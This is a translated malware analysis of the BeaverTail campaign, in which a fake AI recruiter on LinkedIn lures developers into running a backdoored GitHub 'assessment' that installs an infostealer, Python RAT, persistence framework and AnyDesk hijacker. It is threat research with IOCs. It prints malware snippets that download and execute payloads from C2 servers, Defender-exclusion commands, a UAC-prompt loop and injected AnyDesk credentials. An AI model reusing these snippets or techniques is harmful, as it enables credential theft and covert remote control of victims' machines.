虚假AI招聘人员如何以梦想工作为诱饵,分发五种恶意软件

BeaverTail恶意软件活动伪装成AI招聘人员,通过LinkedIn向开发者提供虚假的AI工程师职位。诱导开发者克隆包含恶意代码的GitHub仓库,执行后会扫描凭据、窃取浏览器信息、劫持剪贴板、收集系统信息并部署后门,最终通过AnyDesk实现远程控制,对受害者数字生活造成严重威胁。

特色

一个虚假的AI招聘人员如何伪装成梦寐以求的工作,传递五个阶段的恶意软件

概述

它像每个开发者最喜欢的通知一样开始:

“你已入围AI工程师职位。”

这家公司看起来很令人兴奋 - DLMind,一个“AI驱动的创新实验室”。招聘人员似乎很靠谱 - Tim Morenc, CEDS,拥有完善的LinkedIn个人资料、专业的语气以及共同联系人的历史。

但是,在那条友好的消息背后隐藏着 BeaverTail - 一个旨在劫持你的好奇心、代码和凭据的恶意活动。

诱饵

开发者收到 LinkedIn 消息,提供利润丰厚的远程职位,标题为 “创新型AI工程师”。 攻击者冒充 Tim Morenc,邀请他们在一个私有 GitHub 仓库上进行协作,据称该仓库包含一个编码评估。 说明很简单:

“克隆仓库,检查代码,运行设置并分享你的反馈。”

而这正是触发陷阱的原因。

上钩

一旦提供的脚本执行,它就会展开一个五阶段的 payload - 一个精心设计的攻击链,旨在融入开发者的工作流程。

恶意软件悄无声息地:

  • 扫描 .env 和配置文件,查找 API 密钥、Token和钱包凭据
  • 窃取已保存的浏览器登录名和 Cookie
  • 劫持剪贴板
  • 收集系统指纹和本地文件清单
  • 使用 WebSocket beaconsAnyDesk 部署持久性后门以进行远程控制

在“评估”完成运行之前,攻击者已经掌控了受害者的数字生活。

设置

  • 虚假公司: DLMind (dlmind-tech)
  • 攻击者角色: Tim Morenc, CEDS - “AI招聘主管”
  • 诱饵角色: 创新型AI工程师
  • GitHub 仓库: github.com/dlmind-tech/AI-Healthcare
  • 目标: 凭据盗窃、加密劫持和持久访问

BeaverTail 不仅仅是网络钓鱼 - 它武器化信任,将社会工程与技术精度相结合。 在一个 GitHub pull request 和 LinkedIn 工作机会模糊了机遇和剥削界限的世界中,BeaverTail 提醒我们,有时最危险的代码审查是你意想不到的。

初始访问:技术评估

Tim Morenc CEDS 在 LinkedIn 上联系开发者,询问 DLMind 的 AI 工程师职位。候选人收到的不是典型的编码面试,而是一个“技术评估”:

“请审查此代码库并分享你的技术想法。这是我们的人工智能驱动的医疗保健产品之一。”

Github 仓库:https://github.com/dlmind-tech/AI-Healthcare

Github 组织

Readme.md

该仓库似乎是一个名为“MEDIRA”的 Next.js 应用程序,这是一个具有以下功能的人工智能驱动的医疗保健平台:

  • MongoDB 集成:用于安全存储医疗数据
  • 医疗助手:获取基于症状的人工智能医疗评估
  • Google Gemini 集成:用于准确医疗建议的高级语言模型

为了审查代码并查看其实际运行情况,开发者自然会运行:

git clone hxxps://github[.]com/dlmind-tech/AI-Healthcare.git
cd AI-Healthcare
npm install
node run dev/build # ← 后门在此处激活

第 0 阶段:后门

我们有一个大型项目,其中包含众多目录和文件,旨在成为具有广泛功能的人工智能驱动的医疗保健平台。

代码目录结构

在此项目中,有两个文件包含后门机制。 后门隐藏得非常好,除非你专门搜索它,否则很难检测到。

文件 1:auth/config/index.js (第 98 行)

编码的 C2 URL

此文件包含第一个阶段 payload 所在的实际 C2 URL。它 base64 解码为 loopsoft[.]tech:6168/defy/v8

文件 2:auth/routes/cities.js (第 36–58 行)

下载并执行下一个 payload 的函数

这是用于从 C2 URL 调用 payload 的函数,该 URL 从上面的 base64 获取,并在解码后得到。

它是如何工作的:

  • 当 node auth/server.js 运行时,后门会自动执行
  • 在服务器启动时调用 loopsoft[.]tech:6168/defy/v8
  • C2 服务器故意返回 HTTP 错误 404,并将恶意 JavaScript 代码嵌入到 JSON 响应正文的 token 字段中。
  • 错误响应中的 JavaScript payload 以完整的 Node.js 权限执行
  • 这会传递第 1 阶段的 infostealer(4k+ 行的混淆 JavaScript)

C2 响应,状态为 404,正文中包含恶意 js

第 1 阶段:JavaScript 信息窃取器

这是一个令人讨厌的、经过大量混淆的恶意软件,充当信息窃取器,同时也设置持久性远程访问。 毫不奇怪,它是跨平台的。 因此,它可以很好地与 Windows、Linux 和 macOS 配合使用。 开发工作非常认真,采用了许多规避技术和全面的数据盗窃功能。

它是如何工作的

来自 C2 服务器的原始 JavaScript 经过了多阶段的反混淆。 使用公共 JavaScript 反混淆器 (https://deobfuscate.relative.im) 的初始传递成功解包了控制流混淆,并揭示了恶意软件的核心组件,包括 infostealer 函数、文件系统操作和网络上传机制。 但是,这只解决了第一层; 其余代码使用自定义的基于 Base91 的混淆方案。

部分反混淆的 JS

这种混淆依赖于一种修改后的 Base91 编码,但有一个转折:恶意软件没有使用单个解码字母表,而是使用多个唯一的字符集来编码不同的字符串。 这需要识别哪个字母表对应于每个字符串,而不是使用单个解码器。 解码的关键是识别重复的模式 — 例如字母表字符串后跟查找函数 (.indexOf()、.charAt() 或数组访问) — 并发现具有相似长度,分布和数组存储模式的编码字符串组。

最终的解码方法是:

  • 识别目标:手动定义已知包含编码字符串的代码块的确切起始和结束行号。
  • 提取解码密钥:使用特定模式(“...” .indexOf())扫描整个脚本,以查找用于解码的所有可能的 91 个字符的“字母表”。
  • 提取编码数据:隔离步骤 1 中定义的代码块,并提取所有单引号的字符串,过滤掉步骤 2 中找到的字母表。
  • 通过竞争进行解码:对于每个编码数据,尝试使用每个字母表对其进行解码。
  • 对结果进行评分:使用启发式评分系统评估每次解码尝试。 该系统奖励合法代码的特征(如关键字、URL 和可打印字符),并惩罚胡言乱语。
  • 选择优胜者:对于每个编码的字符串,得分最高的解码版本将被声明为正确的版本。

生成报告:将所有成功的编码到解码的映射保存到结构化的 JSON 文件中,以供审查和进一步使用。

解码的字符串

这很有效,我们现在能够拼凑出所有内容,这揭示了更多的恶意软件功能以及用于依赖 WebSocket 进行持久访问的额外 C2 基础设施。

C2 基础设施:编码的数据包含完整的 WebSocket 服务器配置 - 地址分解为八位字节、端口号和唯一标识符。 我们现在可以看到部分解码代码中不明显的与 172[.]86[.]89[.]10:4382 的连接。

后门实现:看起来像通用网络代码的实际上是一个完整的 Socket.IO 后门,具有远程命令执行、进程伪装(“Node.js Javascript Runtime”)和 PID 锁定以防止多个实例。

监视功能:解码的字符串包含剪贴板监视实现(每 500 毫秒轮询一次,并带有特定于平台的命令)、带有屏幕截图关联的键盘记录程序设置以及包含 35 个搜索模式的文件扫描程序,这些模式针对与加密相关的文件。

VM 检测:适用于 Windows (wmic computersystem)、macOS (system_profiler) 和 Linux (/proc/cpuinfo) 的完整规避逻辑,用于检测 VMware、VirtualBox、QEMU 和其他分析环境。

Python payload 传递链:解码的字符串显示了它如何下载嵌入式 Python 运行时,以静默方式安装它,并使用它来执行下一阶段的下载器。 如果不破坏此编码,我们将看到一个针对浏览器和钱包的凭据窃取器。 通过解码的字符串,我们发现了一个多阶段攻击平台,具有实时监视、远程访问、反分析功能和自动化的 Python 恶意软件部署。 多字母混淆不仅仅是减慢分析速度 - 它还隐藏了恶意软件的真正复杂性。

它的作用

  1. 数据盗窃:
  • 24 个加密钱包(MetaMask、Phantom、Coinbase、Binance Chain、TronLink、Keplr、Ronin,以及其他 17+ 个)跨 Chrome、Brave、Edge、Opera、Firefox — 每个浏览器最多 200 个配置文件
  • 浏览器凭据 - 密码、加密密钥、会话Token
  • macOS 钥匙串 - 完整的凭据数据库 (~/Library/Keychains/login.keychain-db)
  • 敏感文件 — 35 个搜索模式:*.env, *mnemonic*, *wallet*, *secret*, 加密配置,文档。 Windows:扫描 所有 驱动器

2. 监视:

  • 键盘记录程序(全局捕获)
  • 剪贴板监视(500 毫秒轮询)
  • 屏幕截图(每次按键后 3 秒)

3. 系统分析:

  • 报告给 172[.]86[.]89[.]10:4382/api/service/process/3e5fd7fdc21c6cfd419cc84fa67b869e
  • 发送:操作系统类型、平台、主机名、用户信息、VM 检测状态

4. 远程访问:

  • 具有 Socket.IO 的 WebSocket 持久性后门 (172[.]86[.]89[.]10:4382)
  • 进程伪装成“Node.js JavaScript Runtime”

5. 数据泄露:

  • 窃取的凭据/钱包 → 88[.]218[.]0[.]78:1224/uploads (POST, multipart/form-data)
  • 文件扫描程序结果 → 172[.]86[.]89[.]10:4382/upload (屏幕截图、键盘记录数据、扫描的文件)
  • 剪贴板数据 → 172[.]86[.]89[.]10:4382/api/service/makelog (每 500 毫秒)

Python Payload 部署

在窃取数据后,恶意软件会自动部署下一阶段 - 基于 Python 的下载器,该下载器会引入其他恶意软件组件。

// 从 C2 下载嵌入式 Python
fetch('http://88[.]218[.]0[.]78:1224/pdown')
.then(response => response.arrayBuffer())
.then(data => {
fs.writeFileSync(tmpDir + '\\p.zi', data)
fs.renameSync(tmpDir + '\\p.zi', tmpDir + '\\p5.zip')
// 提取到 ~/winrar/python.exe
exec('tar -xf "' + tmpDir + '\\p5.zip' + '" -C "' + homeDir + '"')
})

config API (api[.]npoint[.]io/96979650f5739bcbaebb) 返回 {“name”: “winrar”},这告诉恶意软件将 Python 提取到 C:\Users\{user}\winrar\python.exe。

下载第 2 阶段 Python 脚本

/ 下载经过大量混淆的 Python 下载器
request.get('http://88[.]218[.]0[.]78:1224/client/3/603', (err, res, body) => {
fs.writeFileSync(homeDir + '/.nlq', body) // 隐藏文件
// Windows:使用嵌入式 Python
exec('"' + homeDir + '\\winrar\\python.exe" "' + homeDir + '/.nlq"')
// Linux/macOS:使用系统 Python
exec('python3 "' + homeDir + '/.nlq"')
})

执行流程:第 1 阶段 JS → 下载 Python 运行时 → 下载 .nlq → 执行 .nlq

第 2 阶段:Python 下载器

文件:~/.nlq

这个 .nlq 是一个经过 64 层反向→base64→zlib 编码包装的混淆 Python 文件。 在对其进行解码后,我们得到以下代码:

.nlq 的 Python 代码

该脚本首先确保它具有必要的依赖项 - 如果 `requests` 库不可用,它会使用 pip 自动安装它。 然后,它会访问交付 JavaScript payload 的同一 C2 服务器 (`88[.]218[.]0[.]78:1224`),但这次会访问不同的端点以获取基于 Python 的恶意软件。

它的作用

  • 确保安装了 request 库
  • 下载代码并将其保存到隐藏目录并执行它
  • hxxp://88[.]218[.]0[.]78:1224/payload/3/603 → ~/.n2/way
  • hxxp://88[.]218[.]0[.]78:1224/brow/3/603 → ~/.n2/pow

平台行为

  • Windows/Linux:执行两个 payload
  • macOS:在第一个 payload 后退出 (if ot==”Darwin”: sys.exit(-1))

第 3A 阶段:Python RAT(64 层)

文件:~/.n2/way

C2 套接字:88[.]218[.]0[.]78:2243

~/.n2/way 文件是一个 Python 远程访问木马,它使用相同的反向→base64→zlib 混淆包装了 64 层。 解码并执行后,它为攻击者提供了一个 8 命令工具包,用于完全系统控制、数据泄露和部署其他恶意软件阶段。

它是如何工作的

解码后,RAT 首先分析受害者系统 — 收集主机名、IP 地址、地理位置数据(通过 ip-api[.]com)以及从 MAC 地址和用户名派生的唯一标识符。 此注册数据被发送到 88[.]218[.]0[.]78:1224/keys,允许攻击者跟踪和组织受害者。 然后,RAT 与 88[.]218[.]0[.]78:2243 建立持久性 TCP 套接字连接,并等待命令。

在 Windows 系统上,RAT 还包括一个使用 pyWinhook、pyperclip 和 pythoncom 库的键盘记录程序组件。 它使用窗口上下文、鼠标单击、剪贴板活动(带有 Ctrl+C/V 标记)以及活动窗口信息(进程名称、PID、时间戳)捕获所有击键。 此数据累积在全局缓冲区中,直到攻击者通过命令 3 请求导出。

它的作用

RAT 提供 8 个复杂命令,用于以下操作:

命令 || 功能 || 描述
1 || ssh_obj || 远程 shell + 目录导航
2 || ssh_cmd || 杀死所有 Python 进程(自毁)
3 || ssh_clip || 导出键盘记录程序缓冲区(仅限 Windows)
4 || ssh_run || 下载/执行 /brow/3/603 -> ~/.n2/bow
5 || ssh_upload || 上传文件/目录/模式
6 || ssh_kill || 终止 Chrome 和 Brave 浏览器
7 || ssh_any || 下载 AnyDesk 劫持程序 -> ~/.n2/adc
8 || ssh_env || 扫描 C: 到 G: 驱动器中的 .env 文件

向 C2 进行系统注册

## 发送到 hxxp://88[.]218[.]0[.]78:1224/keys
{
  'uuid': sha256(MAC_ADDRESS + USERNAME),
  'hostname': '603_' + os.hostname(),
  'internalIp': LOCAL_IP,
  'query': EXTERNAL_IP, # 通过 ip-api.com
  'country': COUNTRY, # 通过 ip-api.com
  'city': CITY, # 通过 ip-api.com
  'lat': LATITUDE, 'lon': LONGITUDE
}

主要功能:

  • 远程 shell 访问 — 使用输出执行完整命令
  • 键盘记录程序导出 — 具有窗口上下文的 Windows 特定击键捕获
  • 针对性文件盗窃 — 在所有 Windows 驱动器(C: 到 G:)中查找 .env 文件
  • 浏览器中断 — 杀死 Chrome/Brave 以清除内存工件
  • 第 4 阶段部署 — 通过命令 7 下载 AnyDesk 劫持程序

C2 通信:

  • 注册:88[.]218[.]0[.]78:1224/keys (HTTP POST)
  • 命令通道:88[.]218[.]0[.]78:2243 (TCP 套接字)

第 3B 阶段:海啸持久性

该 ~/.n2/pow 文件是持久性框架,它使用反向→base64→zlib 混淆包装了 128 层 — 是 RAT 的两倍深度。 这仅在 Windows 和 Linux 上运行(在 macOS 上立即退出)。 其唯一目的:确保恶意软件在重新启动、安全扫描和用户清理尝试后仍然存在。

它是如何工作的

持久性机制是多层且具有侵略性的。首先,它检查是否已安装 Python,如果未安装,则从官方 Python [.]org 站点或 100 多个加密的备用镜像 URL 下载 Python 3.11.0(使用密钥 !!!HappyPenguin1950!!! 以 Hex→XOR→Base64→Reverse 编码)。然后,它安装加密库并将启动注入器写入 Windows 启动文件夹。

在下次启动时,注入器会检查计划任务是否已存在。如果不存在,它会提取并执行主 payload,创建一个名为“Runtime Broker”的计划任务(模仿合法的 Windows 进程),添加 Windows Defender 排除项,并启动一个无限 UAC 绕过循环,该循环每 10–20 分钟显示权限提升提示,直到用户接受。

它的作用

三重持久性:

  1. 启动文件夹 — %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw
  • 无窗口 Python 脚本(.pyw 扩展名 = 无控制台窗口)
  • 50 层混淆
  • 在用户登录时自动运行

2. 计划任务 — “Runtime Broker”(模仿合法的 Windows 进程)

  • 执行:%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe
  • 触发器:在登录时
  • 权限:最高

3. 隐藏的可执行文件 — 具有隐藏文件属性的 Runtime Broker.exe

Windows Defender 绕过:

Add-MpPreference -ExclusionPath '%APPDATA%\...\Runtime Broker.exe'
Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\...\msedge.exe' # XMRig 矿工

UAC 绕过(无限重试):

while True:
    time.sleep(random.uniform(600, 1200)) # 等待 10-20 分钟
    if execute_payload_with_uac(): # ShellExecuteW "runas"
        break # 用户接受
    # 否则无限循环显示 UAC 提示

UAC 提示每 10–20 分钟出现一次,直到受害者单击“是”,从而使恶意软件具有管理员权限。 大多数用户最终都会接受提示,只是为了停止弹出窗口。

Python 自动安装:

  • 主要来源:python[.]org/ftp/python/3.11.0/python-3.11.0-amd64.exe
  • 备用:100 多个加密的镜像 URL
  • 静默安装:/quiet InstallAllUsers=1 PrependPath=1

这确保了恶意软件即使在没有 Python 的系统上也能运行,使其完全自给自足。

第 4 阶段:AnyDesk 劫持程序

最后阶段是一个通过 RAT 命令 7 部署的 Python 脚本 (~/.n2/adc)。 与之前的阶段不同,这个阶段没有混淆。 到第 4 阶段,他们已经收集了凭据,建立了远程访问并确保了持久性。 现在,他们正在使用合法的软件添加 GUI 远程桌面后门。

Anydesk 劫持程序代码

它是如何工作的

该脚本首先检查是否已安装 AnyDesk。 如果没有,它会从专用操作服务器下载官方安装程序 (95[.]164[.]17[.]24:1224/any)。 然后,它会找到 AnyDesk 配置文件(Windows 上的 %APPDATA%\anydesk\ 或 Linux 上的 ~/.anydesk/ 中的 service.conf),并注入硬编码的后门凭据:密码哈希、密码 salt 和Token salt。

在注入凭据后,该脚本会将修改后的配置上传到 95[.]164[.]17[.]24:1224/keys 以供攻击者记录,杀死 AnyDesk 进程,重新启动它(这将加载后门的配置),然后删除自身。 结果是一个持久的 GUI 远程访问通道,对于安全软件和用户来说看起来完全合法。

它的作用

AnyDesk 劫持过程:

  1. 安装检查 — 如果缺少,则从 95[.]164[.]17[.]24:1224/any 下载 AnyDesk
  2. 配置注入 — 使用后门凭据修改 service.conf
  3. 配置泄露 — 将修改后的配置上传到 95[.]164[.]17[.]24:1224/keys
  4. 服务重启 — 杀死并重启 AnyDesk 以加载后门的配置
  5. 自删除 — 删除劫持程序脚本(无工件)

注入的凭据:

ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d
ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345
ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f

配置文件位置:

  • Windows:%APPDATA%\anydesk\service.conf
  • Linux:~/.anydesk/service.conf

从攻击者的角度来看,这种方法的优点在于 AnyDesk 是一款合法的远程桌面软件,被数百万 IT 专业人员使用。 安全工具不会标记它,即使用户注意到 AnyDesk 正在运行,他们也可能会认为它是合法的 IT 支持软件。 攻击者现在拥有完整的 GUI 访问权限 — 他们可以查看屏幕、移动鼠标以及与系统交互,就像他们坐在键盘前一样。

C2 服务器:95[.]164[.]17[.]24:1224(专用的 AnyDesk 操作服务器,与其他 C2 分开)

攻击链概述

恶意软件执行流程

危害指标 (IOC)

C2 URL 和文件丢弃


完整的 URL || 目的 || 写入磁盘
hxxp://loopsoft[.]tech:6168/defy/v8 || 第 0 阶段:传递第 1 阶段 JS payload || 否(在内存中运行)
hxxp://88[.]218[.]0[.]78:1224/uploads || 第 1 阶段:泄露被盗的凭据/钱包 || 否(仅上传)
hxxp://88[.]218[.]0[.]78:1224/pdown || 第 1 阶段:下载 Python 运行时(仅限 Windows) || %TEMP%\p.zi -> %TEMP%\p5.zip
hxxp://88[.]218[.]0[.]78:1224/client/3/603 || 第 1 阶段:下载第 2 阶段下载器 || ~/.nlq(64 层混淆)
hxxp://172[.]86[.]89[.]10:4382/ || 第 1 阶段:WebSocket 后门连接 || 否(持久连接)
hxxp://172[.]86[.]89[.]10:4382/api/service/process/3e5fd7fdc21c6cfd419cc84fa67b869e || 第 1 阶段:进程注册/受害者跟踪 || 否(HTTP POST)
hxxp://172[.]86[.]89[.]10:4382/api/service/makelog || 第 1 阶段:键盘记录程序数据上传 || 否(仅上传)
hxxp://172[.]86[.]89[.]10:4382/upload || 第 1 阶段:屏幕截图/文件泄露 || 否(仅上传)
hxxp://88[.]218[.]0[.]78:1224/payload/3/603 || 第 2 阶段:下载 Python RAT || ~/.n2/way
hxxp://88[.]218[.]0[.]78:1224/brow/3/603 || 第 2 阶段:下载持久性框架 || ~/.n2/pow
hxxp://88[.]218[.]0[.]78:1224/keys || 第 3 阶段:RAT 注册(系统分析) || 否(HTTP POST)
hxxp://88[.]218[.]0[.]78:2243/ || 第 3 阶段:Socket.IO RAT 命令通道 || 否(持久套接字)
hxxp://88[.]218[.]0[.]78:1224/adc/3 || 第 3 阶段:下载 AnyDesk 劫持程序 || ~/.n2/adc(明文 Python)
hxxp://95[.]164[.]17[.]24:1224/any || 第 4 阶段:下载 AnyDesk 安装程序(如果需要) || 临时位置,然后删除
hxxp://95[.]164[.]17[.]24:1224/keys || 第 4 阶段:上传被劫持的 AnyDesk 配置 || 否(仅上传)

唯一域名

loopsoft[.]tech
api[.]npoint[.]io
ip-api[.]com

唯一 IP 地址

88[.]218[.]0[.]78 # 主 C2(端口 1224、2243)
172[.]86[.]89[.]10 # WebSocket C2(端口 4382)
95[.]164[.]17[.]24 # AnyDesk 操作(端口 1224)

关键文件路径

路径 || 目的
~/.nlq || 第 2 阶段下载器(64 层)
~/.n2/way || 第 3A 阶段 RAT(64 层)
~/.n2/pow || 第 3B 阶段持久性(128 层)
~/.n2/adc || 第 4 阶段 AnyDesk 劫持程序
~/.n3/ || 文件扫描程序暂存
%TEMP%\cc.pid || WebSocket 后门 PID 锁定(Windows:C:\Users\{user}\AppData\Local\Temp\cc.pid)
/tmp/cc.pid || WebSocket 后门 PID 锁定 (Linux)
$TMPDIR/cc.pid || WebSocket 后门 PID 锁定(macOS:/var/folders/*/T/cc.pid)
%TEMP%\up.pid || 文件扫描程序 PID 锁定 (Windows)
/tmp/up.pid || 文件扫描程序 PID 锁定 (Linux/macOS)
%TEMP%\windows cache\ || 键盘记录程序缓存目录 (Windows)
/tmp/windows cache/ || 键盘记录程序缓存 (Linux/macOS, 在所有平台上都命名为“windows cache”)
%TEMP%\windows cache\1.tmp || 键盘记录程序备用存储
%TEMP%\windows cache\2.jpeg || 屏幕截图临时存储
%TEMP%\p.zi || Python 运行时下载临时文件(仅限 Windows)
%TEMP%\p5.zip || 提取之前的 Python 运行时 ZIP(仅限 Windows)
%APPDATA%\...\Startup\Windows Update Script.pyw || 持久性

文件哈希 (SHA-256)

注意:哈希值表示 C2 服务器传递并写入磁盘的混淆 payload。

磁盘上路径 | Sha256
--------------------|-----------------------------------------------------------------
~/.nlq | b59187e77c19f5fcd9fdb14663fbdd91cf7110bfec1267676a61b5a85583bf58
~/.n2/way | 9daa4de89ea95bf5f7f97815ecee0d7435f03b1d50ff2222973bcc517daee160
~/.n2/pow | 006c6a04a741ba75e66d460b441c8984bad00c2566b262a9b579a86c649e788f
~/.n2/adc | ffed818b35b249db723741d3ec1cb7bc5a8e3e47821feb030d4a424717cd670e
%TEMP%\p5.zip | 99502507bfa92aee6d6b0220346410412be6cfd1ca1b28378b9e0958bd697342

检测签名

AnyDesk 后门凭据:

ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d
ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345
ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f

进程指标:

  • 进程标题:“Node.js JavaScript Runtime”
  • 来自隐藏目录的 Python:python ~/.n2/way, pythonw.exe “%APPDATA%\…\Runtime Broker.exe”
  • 计划任务:“Runtime Broker”

结论

BeaverTail 演示了复杂的恶意软件活动如何利用对专业平台和标准开发工作流程的信任。 来自表面上看起来合法的招聘人员的简单“审查此代码”请求会在 15 秒内导致完整的系统入侵。 提取此类秘密意味着一台受感染的计算机可能会导致更多漏洞,具体取决于受害者拥有的访问权限,并最终威胁公司的安全。如果你收到来自“Tim Morenc CEDS”的消息,或者被要求审查来自 dlmind-tech 的代码,你的系统可能已被入侵。

  • 原文链接: medium.com/deriv-tech/ho...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
dark_warlord14
dark_warlord14
江湖只有他的大名,没有他的介绍。